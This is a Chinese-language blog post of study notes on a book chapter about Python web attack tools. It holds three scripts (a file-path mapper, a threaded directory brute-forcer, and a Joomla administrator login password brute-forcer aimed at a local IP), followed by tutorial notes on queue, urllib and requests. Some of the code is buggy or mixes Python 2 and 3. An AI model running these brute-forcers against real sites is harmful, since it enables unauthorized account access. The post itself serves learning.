写在前面
这一章书中介绍了关于Web攻击中会用到的爬虫、目录爆破、凭证爆破这三个方面,书中的Python脚本仅展示此类脚本应该怎么去写,提供此类工具的编写思路。根据这些思路和自己学习的一些编程方法、技巧可以针对这些脚本进行更改,变得更符合自己个人的使用习惯。
在学习这一章之前,我自己已经在编写一系列的工具脚本、EXP等等,所以此章的脚本我最终呈现出来的是我自己去魔改的,带有大量的个人编程习惯,不过具体使用效果怎么样,我就不清楚了。
web_app_mapper.py
代码
import queue
import threading
import os
import requests
thread = 10
target = "http://127.0.0.1/"
directory = "E:\WWW"
filters = [".jpg",".git",".png",".css"]
os.chdir(directory)
web_path = queue.Queue()
for r,d,f in os.walk("."):
for files in f:
remote_path = "%s/%s" % (r,files)
if remote_path.startswith("."):
remote_path = remote_path[1:]
if os.path.splitext(files)[1] not in filters:
web_path.put(remote_path)
def test_remote():
while not web_path.empty():
path = web_path.get().replace("\\","/")
url = "%s%s" % (target,path)
request = requests.get(url)
print("[%d] => %s" % (request.status_code,path))
for i in range(thread):
print("Spawning thread: %d" % i)
t = threading.Thread(target=test_remote())
t.start()
关于这个脚本
这个脚本我舍弃了去使用urllib
、urllib2
、urllib3
这几个库,具体为什么呢?大前提我是使用的Python3.x,所以更多的使用的requests
库。当然,这并不是舍弃这几个库的理由。requests
库使用了urllib3
库,但相对来说requests
库的API更加友好,很多人也都说只是用Python3.x的话对于urllib
只需要知道就行,没必要去了解和使用。不过学习嘛,还是不会的就要了解一下,这部分我会摘选一部分写在下面,后续如果东西比较多,详细的我会另开一篇内容。
这个脚本能做什么?遍历你本地安装的Web程序的文件,按照这个目录结构去访问远程服务器上的对应的文件,并且尝试获取对方网站的文件。这个脚本价值一言难尽,不明所以,有点无语
content_bruter.py
代码
import requests
import threading
import queue
import urllib
thread = 10
target_url = "http://127.0.0.1"
wordlist_file = "D:\Program Files (x86)\DirBuster\directory-list-2.3-small.txt"
resume = None
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
}
def build_wordlist(wordlist_file):
found_resume = False
words = queue.Queue()
with open(wordlist_file,"r",encoding="utf-8") as f:
lines = f.readlines()
for line in lines:
if "#" in line:
continue
if resume is not None:
line = line.strip("\n")
if found_resume:
words.put(line)
else:
if line == resume:
found_resume =True
print("Resuming wordlist from:%s" % resume)
else:
words.put(line)
return words
def dir_bruter(word_queue,extensions=None):
while not word_queue.empty():
attempt = word_queue.get().strip("\n")
attempt_list = []
if '.' not in attempt:
attempt_list.append("/%s/" % attempt)
else:
attempt_list.append("/%s" % attempt)
if extensions:
for extension in extensions:
attempt_list.append("/%s%s" % (attempt,extension))
for bruter in attempt_list:
url = "%s%s" % (target_url,bruter)
try:
request = requests.get(url,headers=headers)
if len(request.text) and request.status_code != 404:
print("[%d] => %s" % (request.status_code,url))
elif request.status_code != 404:
print("!!! %d => %s" % (request.status_code,url))
except Exception as e:
pass
word_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]
for i in range(thread):
t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
t.start()
关于这个脚本
这个脚本就大量的我个人编写习惯,整体架构还是原本书中的思路,但是其中一些细节内容还是以我自己的习惯改编了。例如文件内容读取、requests库和urllib的取舍、urllib.quote()
函数的舍弃等等,除此之外对文件是否存在的判断逻辑进行了更改。这个脚本还有很多的地方可以优化,这就是一个很完整的不带有UI界面的目录爆破工具,后续还可以对一些参数的自定义,优化选项、添加交互等等。这部分感兴趣的可以自己试着去做一做。
话说回来,在学的过程中呢,看了一个py_encoder.py
的加密脚本,基本上体量还是很小的,也就是最基本的一些功能,所以说编写这些小体量的东西并不会很难,自给自足完全可以;当然,如果是大体量的工具还是相当有难度的。
Joomla_kill.py
代码
import urllib2
import urllib
import http.cookiejar
import threading
import queue
import html.parser
# general settings
user_thread = 10
username = "gege"
wordlist_file = "./pass.txt"
resume = None
# target specific settings
target_url = "http://172.30.5.177/Joomla/administrator/index.php"
target_post = "http://172.30.5.177/Joomla/administrator/index.php"
username_field = "username"
password_field = "passwd"
success_check = "Administration - Control Panel"
class BruteParser(html.parser.HTMLParser):
def __init__(self):
html.parser.HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
if tag == "input":
tag_name = None
tag_value = None
for name, value in attrs:
if name == "name":
tag_name = value
if name == "value":
tag_value = value
if tag_name is not None:
self.tag_results[tag_name] = value
class Bruter(object):
def __init__(self, username, words):
self.username = username
self.password_q = words
self.found = False
print("Finished setting up for: %s" % username)
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password_q.empty() and not self.found:
brute = self.password_q.get().rstrip()
jar = http.cookiejar.FileCookieJar("cookies")
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
response = opener.open(target_url)
page = response.read()
print("Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()))
# parse out the hidden fields
parser = BruteParser()
parser.feed(page)
post_tags = parser.tag_results
# add our username and password fields
post_tags[username_field] = self.username
post_tags[password_field] = brute
login_data = urllib.urlencode(post_tags)
login_response = opener.open(target_post, login_data)
login_result = login_response.read()
if success_check in login_result:
self.found = True
print("[*] Bruteforce successful.")
print("[*] Username: %s" % username)
print("[*] Password: %s" % brute)
print("[*] Waiting for other threads to exit...")
def build_wordlist(wordlist_file):
# read in the word list
fd = open(wordlist_file, "rb")
raw_words = fd.readlines()
fd.close()
found_resume = False
words = queue.Queue()
for word in raw_words:
word = word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print
"Resuming wordlist from: %s" % resume
else:
words.put(word)
return words
words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()
关于这个脚本
这个脚本比较……怎么说呢……Python3中,我暂时无法安装urllib2
库导致这个脚本没办法运行起来,不过这个脚本的知识点还是挺多的,比较值得研究一下。
queue库
queue库介绍
Queue库是Python标准库中的线程安全的队列(FIFO)实现,提供了一个适用于多线程编程的先进先出的数据结构,即队列,它可用于在生产者和消费者之间线程安全地传递消息或其它数据,因此多个线程可以共享一个Queue实例。
Queue库实现了一个基本的先进先出(FIFO)容器,可以直接import引用,在python2.x中,库名为Queue。python3.x版本库名为queue
为什么要有queue
多个线程进行数据交换的时候,不能够保证数据的安全性和一致性,所以当多个线程需要进行数据交换的时候,队列就出现了,队列可以完美解决线程间的数据交换,保证线程间数据的安全性和一致性。
三种队列及构造函数
-
Python queue模块的FIFO队列先进先出。
class queue.Queue(maxsize)
-
LIFO类似于堆,即先进后出。
class queue.LifoQueue(maxsize)
-
还有一种是优先级队列级别越低越先出来。
class queue.PriorityQueue(maxsize)
Queue 模块中的常用方法:
方法名 | 含义 |
---|---|
Queue.Queue(maxsize=0) |
FIFO,若是maxsize 小于1就表示队列长度无限 |
Queue.qsize() |
返回队列的大小 |
Queue.empty() |
若是队列为空,返回True,反之False |
Queue.full() |
若是队列满了,返回True,反之False |
Queue.get([block, [timeout]]) |
读队列,timeout为等待时间 |
Queue.put(item, [block, [timeout]]) |
写队列,timeout为等待时间 |
Queue.queue.clear() |
清空队列 |
urllib和requests
在使用Python爬虫时,需要模拟发起网络请求,主要用到的库有requests
库和python内置的urllib
库,一般建议使用requests
,它是对urllib
的再次封装。urllib
库为标准库,但是现在来说urllib2
和urllib3
这些三方库用的会更多一些,这些三方库相对原来的标准库进行了一定的更改让API的使用变得相对简便一些,但是最终效果来看还是比不上requests
库的使用。
urllib库
urllib
库的response
对象是先创建http,request
对象,装载到reques.urlopen
里完成http请求。返回的是http,response
对象,实际上是html属性。使用.read().decode()
解码后转化成了str
字符串类型,decode解码后中文字符能够显示出来。
urllib.quote(string[, safe="()"])
屏蔽特殊的字符、比如如果url里面的空格,url里面是不允许出现空格的,具体使用效果看来,它会把特殊字符进行编码,并且有些不应该编码的字符也会进行编码,这么看来估计还是需要其他的设置。
后续翻看了手册,手册中详细介绍了这一点。默认情况下,此功能用于引用URL的路径部分。可选的安全参数指定不应引用的附加字符——其默认值为/
。字母,数字和字符_.-
从未被引用。
不同版本中的用法
在Python2.x中的用法是urllib.quote(string[, safe="()"])
,Python3.x中是urllib.parse.quote(string[, safe="()"])
。
# python3.x
import urllib.parse
print(urllib.parse.quote("http://127.0.0.1",safe="(:/)"))
print(urllib.parse.quote("http://127.0.0.1"))
# 输出
# http://127.0.0.1
# http%3A//127.0.0.1
urllib.quote_plus(string[, safe])
和urllib.quote()
相似,但也用加号替换空格,这是在构建查询字符串进入URL时引用HTML表单值所需的。除非包含在保险箱中,否则原始字符串中的加号会被转义。它也没有安全的默认值/
。
urllib.unquote(string)
用%xx
它们的单字符替换换码。也就是将quote()
的结果恢复。
urllib.unquote_plus(string)
类似unquote()
,但也用空格替换加号,以取消引用HTML表单值。
requests库
requests
库调用是requests.get
方法传入url和参数,返回的对象是Response
对象,打印出来是显示响应状态码。通过.text
方法可以返回是unicode
型的数据,一般是在网页的header
中定义的编码形式,而content
返回的是bytes
,二级制型的数据,还有.json
方法也可以返回json
字符串。如果想要提取文本就用text,但是如果你想要提取图片、文件等二进制文件,就要用content
,当然decode之后,中文字符也会正常显示。
requests的优势
Python爬虫时,更建议用requests
库。因为requests
比urllib
更为便捷,requests
可以直接构造get,post请求并发起,而urllib.request
只能先构造get,post请求,再发起。
其他
综上的话,这也是我选择将urllib
库相关内容舍弃,重新使用requests
库进行编写的理由,除此之外,urllib
库及其三方库都需要一些Python2.x to Python3.x的操作,甚至urllib
库的功能有的时候无法满足需求,需要更换到它的三方库,相对来说更加的麻烦。
对于python2.x,urllib和urllib2的主要区别:urllib2可以接受Request对象为URL设置头信息,修改用户代理,设置cookie等,urllib只能接受一个普通的URL。urllib提供一些比较原始基础的方法而urllib2没有这些,比如 urlencode。
对于python3.x:这里urllib成了一个包,此包分成了几个模块
urllib.request
用于打开和读取URL,urllib.error
用于处理前面request引起的异常,urllib.parse
用于解析URL,urllib.robotparser
用于解析robots.txt文件
python2.x 中的urllib.urlopen()
被废弃,urllib2.urlopen()
相当于python3.x中的urllib.request.urlopen()
当然个中取舍还是根据个人习惯、需求等等来,不能说一味的习惯而不管不顾需求,或者相反。
其他知识点
os.chdir() 方法
os.chdir()
方法用于改变当前工作目录到指定的路径。
语法格式
os.chdir(path)
# path -- 要切换到的新路径。
# 如果允许访问返回True,否则返回False。
os.walk() 方法
os.walk()
方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。os.walk()
方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。
语法格式
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])
参数
- top -- 是你所要遍历的目录的地址, 返回的是一个三元组(root,dirs,files)。
- root 所指的是当前正在遍历的这个文件夹的本身的地址
- dirs 是一个 list ,内容是该文件夹中所有的目录的名字(不包括子目录)
- files 同样是 list , 内容是该文件夹中所有的文件(不包括子目录)
- topdown --可选,为 True,则优先遍历 top 目录,否则优先遍历 top 的子目录(默认为开启)。如果 topdown 参数为 True,walk 会遍历top文件夹,与top 文件夹中每一个子目录。
- onerror -- 可选,需要一个 callable 对象,当 walk 需要异常时,会调用。
- followlinks -- 可选,如果为 True,则会遍历目录下的快捷方式(linux 下是软连接 symbolic link )实际所指的目录(默认关闭),如果为 False,则优先遍历 top 的子目录。
写在最后
这篇内容相对还是比较多的,urllib
、request
、queue
、HTTPCookieProcessor
、Cookielib
、Cookie
等内容。写到这里篇幅已经较长,所以关于第三个脚本的内容就没有编写进来,关于HTTPCookieProcessor
、Cookielib
、Cookie
这三个点的内容我会编写在Python中Cookie的处理——Cookielib和Cookie这篇文章中,感兴趣的可以了解一下。
这一章中主要还是对Web攻击中常用到的爆破工具进行讲解,内容比较详细,但是相对于一个使用Python3的同学来说还是存在一定的问题,最为典型的就是Python2 to Python3的问题。这个还是需要注意一下的。
Comments | NOTHING